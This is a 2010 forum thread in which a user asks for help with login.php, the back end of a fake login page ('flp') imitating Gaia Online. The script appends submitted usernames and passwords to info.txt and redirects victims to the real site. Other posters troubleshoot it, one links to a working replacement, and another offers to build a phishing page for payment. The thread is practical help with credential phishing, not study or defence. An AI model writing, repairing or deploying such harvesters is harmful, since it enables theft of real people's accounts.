Just to test things out i typed in random usernames and passwords to see if my flp was working, Yet nothing is showing up in the info.txt. the file size changed but no txt. Whats the problem
is it my
login.php
PHP Code:
<?php
header("Location: http://www.gaiaonline.com/guilds/");
$file = 'http://ripway.com/black/info.txt';
$handle = fopen("info.txt", "a") ;
fwrite($handle, '');
fwrite($handle, $username);
fwrite($handle, "");
fwrite($handle, ': ');
fwrite($handle, $password);
fwrite($handle, "
");
fclose($handle);
exit;
Results 1 to 9 of 9
Thread: Help With Login.php or info.txt
- 19 Feb. 2010 04:09pm #1
Help With Login.php or info.txt
- 19 Feb. 2010 04:24pm #2
Get a new login.php
You messed this one up
Use the search bar and look up login.php enhancedSignature By Eternal Darkness
Respect List :
BooBearsh
iLuvMuffinsx3
Sk8er
RobbyTheReaper
Eternal Darkness
Love List :
Elirocks - Luv Ya
MartinLG - idk here just wanted to be there lol
Jdawg - Sweet Guy
- 19 Feb. 2010 07:01pm #3
I'll look for my ol' login.php and give it to you. Yours is pretty fugly and has a lot of flaws in it.
EDIT: Here you go!
http://forum.logicalgamers.com/gaiao...tml#post118950Last edited by GAMEchief; 19 Feb. 2010 at 08:08pm.
- 20 Feb. 2010 06:16am #4
Thanks, Great help!
Mods close,Thanks
- 20 Feb. 2010 06:29pm #5
One of your problem was probably setting header("Location: whatever") at the top.
Also, the file should be Ripway.com - fast, free file hosting and website hosting, not Welcome to Ripway.com - free file hosting, free music hosting, direct linking
Also, setting $file to a url was pointless and a bad idea, because it wouldn't have opened that way. In this case it wasn't a problem because you used the text rather than the variable.
Also, get a host other than ripway. Your bandwidth is exceeded, and will always be, because ripway is shit.
- 20 Feb. 2010 08:02pm #6
Setting the header at the top won't affect anything, since code after header() is still parsed.
Using http:// was definitely a bad idea, but I've provided him with valid code now.
- 20 Feb. 2010 11:29pm #7
- 21 Feb. 2010 12:51am #8
Yeah. header() just sends the header of a document, no matter what it inside it (Location, Content-Type, etc.). The document is still sent.
So even though this is pointless:
<?php
header('Location: other-page.php');
echo "A webpage!";
?>
It's still a valid webpage. Just as this would be valid:
<?php
header('Content-Type: text/html');
echo "A webpage!";
?>
So PHP doesn't stop parsing after any header(). This would probably be useful for automated systems instead of humans. If a bot (one the owner created) was reading data off the system, the server could send the Location header so that it would know what page to read next. cURL even supports doing this - reading the data and automatically following the Location header.
- 25 Feb. 2010 06:24pm #9
I can make you a gold generator flp for 7k LG